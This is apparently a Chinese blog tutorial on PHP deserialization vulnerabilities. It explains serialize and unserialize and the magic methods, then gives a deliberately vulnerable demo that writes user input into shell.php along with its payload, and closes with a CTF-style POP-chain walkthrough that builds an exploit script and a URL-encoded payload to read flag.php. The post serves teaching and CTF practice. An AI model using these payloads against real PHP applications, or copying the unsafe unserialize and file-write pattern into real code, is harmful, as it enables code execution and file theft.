反序列化漏洞

反序列化漏洞

什么是序列化、反序列化

例子引入

序列化是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象。

简单的来讲:(含例子easy.php)

  • 序列化:把对象转换为字节序列的过程称为对象的序列化。( serialize )【类-->字符串,方便传输】

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

  • 反序列化:把字节序列恢复为对象的过程称为对象的反序列化。( unserialize )

object(S)#2 (2) { ["test"]=> string(7) "pikachu" ["name"]=> string(8) "xiaoming" }

# easy.php
<?php
class S{
    public $test="pikachu";
    public $name="xiaoming";
}
$s=new S(); //创建一个对象,将S这个类实例化出来
echo serialize($s); //把这个对象进行序列化并输出
echo "</br>";
var_dump(unserialize(serialize($s)));		//将序列化的结果进行反序列化并输出
?>

序列号实例(例子1)

序列化后得到的结果是这个样子的: O:1:"S":2:{s:4:"test";s:7:"pikachu";s:4:"name";s:8:"xiaoming";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

1、O:1:"S":2: - 这表示对象的类型和长度信息。在这里,O表示对象,1表示对象名称的长度,"S"表示对象名称(可能是类名),2表示对象的属性数量。
2、s:4:"test"; - 这是对象的第一个属性。s表示字符串类型,4表示字符串的长度,"test"是属性的名称。
3、s:7:"pikachu"; - 这是对象的第一个属性的值。s表示字符串类型,7表示字符串的长度,"pikachu"是属性的值。
4、s:4:"name"; - 这是对象的第二个属性。s表示字符串类型,4表示字符串的长度,"name"是属性的名称。
5、s:8:"xiaoming"; - 这是对象的第二个属性的值。s表示字符串类型,8表示字符串的长度,"xiaoming"是属性的值。
6、综上所述,这段代码表示一个包含两个属性的对象。第一个属性名为test,值为pikachu;第二个属性名为name,值为xiaoming。这种格式通常用于在不同系统之间传输和存储对象数据。

反序列化实例

反序列化后得到的结果是这个样子的: object(S)#2 (2) { ["test"]=> string(7) "pikachu" ["name"]=> string(8) "xiaoming" } 
    
1、object(S)#2 - 这表示对象的类型和标识符。S可能是对象的类名或类型,2是对象的标识符。
2、(2) - 这表示对象有两个属性。
3、["test"]=> string(7) "pikachu" - 这是对象的第一个属性。"test"是属性的名称,"pikachu"是属性的值。string(7)表示属性值是一个字符串,长度为7个字符。
4、["name"]=> string(8) "xiaoming" - 这是对象的第二个属性。"name"是属性的名称,"xiaoming"是属性的值。string(8)表示属性值是一个字符串,长度为8个字符。
5、综上所述,这段代码表示一个具有两个属性的对象实例。第一个属性名为test,值为pikachu,长度为7个字符。第二个属性名为name,值为xiaoming,长度为8个字符。这段代码可能是在某种编程语言中表示和打印对象的方式。

image-20240206092934747

序列化与反序列化函数

serialize()unserialize()是在PHP中用于对象序列化和反序列化的函数。它们可以将PHP数据结构转换为字符串表示形式,以便在存储或传输时使用,并在需要时重新还原为原始数据结构。

  1. serialize(): 这个函数将一个PHP的值(包括对象、数组、字符串等)转换为一个序列化的字符串表示形式。它可以用于将数据保存到文件、数据库或通过网络发送给其他系统。例如,serialize($object)会将对象 $object 序列化为一个字符串。
  2. unserialize(): 这个函数将一个序列化的字符串恢复为原始的PHP值。它用于反序列化先前通过serialize()函数序列化的数据。例如,unserialize($serializedData)会将序列化的字符串 $serializedData 还原为原始的PHP值。

使用serialize()unserialize()可以实现对象的持久化存储、数据传输和跨系统通信。序列化的字符串可以在需要时进行存储、传输和再次还原为对象,从而方便地在不同的环境中使用相同的数据。然而,需要注意的是,serialize()unserialize()在处理不受信任的数据时可能存在安全风险,因此在从外部或不可信源接收的数据上使用这些函数时需要谨慎防范潜在的安全漏洞。

序列化函数serialize()

将一个对象转换成一个字符串--序列化

image-20240206092947537

注意:

创建类-->可生成对象

创建序列(序列化)-->也可生成对象

反序列化函数unserialize()

将字符串还原成一个对象--反序列化

image-20240206093001205

魔术方法

魔术方法:当我们去使用某些行为的时候,它会触发相应类中的某个方法。
魔术方法是语言中保留的方法名,各个方法会在对应操作时自动调用,以PHP语言中的魔术方法来做讲解:
    
__construct()当创建对象时触发,一般用于初始化对象,对变量赋初值【常用--实例化某个对象时就触发】
__sleep()使用serialize()时自动触发【常用】
__wakeup()使用unserialize()时自动触发【常用】
__destruct()当一个对象被销毁时触发【常用--代码即将执行完成时销毁对象(释放内存)触发】
__toString()当一个类被当成字符串使用时触发【常用--当要回显/打印某个对象时触发】
__invoke()当尝试以调用函数的方式调用一个对象时触发
__call()在对象上下文中调用不可访问的方法时触发
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
总结:
①反序列化的常见起点:
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
②反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
③反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里

序列化含义(例子2)

例如: O:4:"test":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}

# 说明一
O:代表对象
4:代表对象名(类名)长度
test:对象名
2:代表2个成员变量(属性)
其余参照如下:(从左到右)
第一个属性:
s:字符串
3:字符串长度为3
age:属性的变量名
i:属性值的数据类型为整型
这里属性值为整型是不看长度的,所以整型的长度直接省略
18:属性值
第二个属性:
s:字符串
4:字符串长度为4
name:属性的变量名
s:属性值的数据类型为字符型
3:属性值的长度
LEO:属性值
注意:每个成员变量结束后加分号;隔开,包括最后一个。

# 说明二
1、O:4:"test":2: - 这表示对象的类型和长度信息。在这里,O表示对象,4表示对象名称的长度,"test"是对象的名称,2表示对象的属性数量。
2、s:3:"age"; - 这是对象的第一个属性。s表示字符串类型,3表示字符串的长度,"age"是属性的名称。
3、i:18; - 这是对象的第一个属性的值。i表示整数类型,18是属性的值,表示年龄为18岁。
4、s:4:"name"; - 这是对象的第二个属性。s表示字符串类型,4表示字符串的长度,"name"是属性的名称。
5、s:3:"LEO"; - 这是对象的第二个属性的值。s表示字符串类型,3表示字符串的长度,"LEO"是属性的值,表示姓名为"LEO"。
6、综上所述,这段代码表示一个包含两个属性的对象。第一个属性名为age,值为18(整数类型);第二个属性名为name,值为"LEO"(字符串类型)。这种格式通常用于在不同系统之间传输和存储对象数据。

属性值的数据类型:

image-20240206093015239

序列化实例

<?php
class test{
    public $id = 'Baize';
    public $name = 'Sec';
}
$test1 = new test();     //实例化
$test2 = serialize($test1);     //序列化
print_r($test2);       //打印序列化
?>

image-20240206093030949

反序列化含义(例子2)

# demo-u2.php
报错:
<?php
header("Content-type: text/html; charset=utf-8");
class Foo{
    public $aMemberVar='aMemberVar Member Variable';
    public $aFuneName='aMemberFunc';
    function aMemberFunc(){
    print 'Inside `aMemberFunc)`';
    }
}
$tr='O:3:"Foo":2:{s:10:"aMemberVar";s:26:"aMemberVar Member Variable";s:9:"aFuncName";s:ll:"aMemberEunc";}';
$ttr=unserialize($tr);
var_dump($ttr);
?>


image-20240206093057370

反序列化漏洞案例解读

反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。

审计demo2.php源码(不包括payload):
<?php
class Test{
    var $test = "123";
    function __wakeup(){
        $fp = fopen("shell.php", 'w');
        fwrite($fp, $this -> test);
        fclose($fp);
    }
}
$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);

/* payload:   http://127.0.0.1/unserialize/demo2.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php phpinfo();?>";} */
?>

解读:

当我们传入payload后,源码变量变成了【var $test = "<?php%20phpinfo();?>"

反序列化漏洞之POP链

初始POP链

POP链(POP CHAIN)
把魔术方法作为入口,然后在魔术方法中调用其他函数,通过寻找—系列函数,最后执行恶意代码,就构成了POP CHAIN。

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

demo1

 <?php
//flag is in flag.php
error_reporting(0);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) 		 {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }
    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}
?>
    

接下来我们来分析构造pop链的过程:
	很明显此题考查PHP反序列化构造POP链,遇到此类题型首先寻找可以读取文件的函数,再去寻找可以互相触发从而调用的魔术方法,最终形成一条可以触发读取文件函数的POP链。
	对于此题可以看到我们的目的是通过构造反序列化读取flag.php文件,在Read类有file_get_contents()函数,Show类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有unserialize函数存在,该函数的执行同时会触发wakeup魔术方法,而wakeup魔术方法可以看到在Show类中。
	再次看下__wakeup魔术方法中,存在一个正则匹配函数preg_match(),该函数第二个参数应为字符串,这里把source当作字符串进行的匹配,这时若这个source是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在Show类中,那么我们一会构造exp时将source变成Show这个类的对象就会触发__tostring方法。
	再看下__tostring魔术方法中,首先找到str这个数组,取出key值为str的value值赋给source,那么如果这个value值不存在的话就会触发__get魔术方法。再次通读全篇,看到Test类中存在__get魔术方法。
	那么此时如果str数组中key值为str对应的value值source是Test类的一个对象,就触发了__get魔术方法。看下__get魔术方法,发现先取Test类中的属性p给function变量,再通过return $function()把它当作函数执行,这里属性p可控。这样就会触发__invoke魔术方法,而__invoke魔术方法存在于Read类中。
	可以看到__invoke魔术方法中调用了该类中的file_get方法,形参是var属性值(这里我们可以控制),实参是value值,从而调用file_get_contents函数读取文件内容,所以只要将Read类中的var属性值赋值为flag.php即可。

总结:
POP链:unserialize函数(变量可控)–>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–>触发Read类中的file_get方法–>触发file_get_contents函数读取flag.php
# exp如下
<?php
class Read {
    public $var = "flag.php";
}
class Show {
    public $source;
    public $str;
}
class Test {
    public $p;
}
$r = new Read();
$s = new Show();
$t = new Test();
$t->p = $r;     //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str['str'] = $t;    //赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;     //令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));	//这里使用urlencode是为了编码 private 和protect属性,防止他们序列化出来有 %00 造成截断

最后得出来的payload:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3Ba%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D

补充

白说:php反序列化之pop链 - FreeBuf网络安全行业门户

demo1:https://blog.csdn.net/bin789456/article/details/121538669

posted @ 2024-02-06 09:28  gcc_com  阅读(24)  评论(0编辑  收藏  举报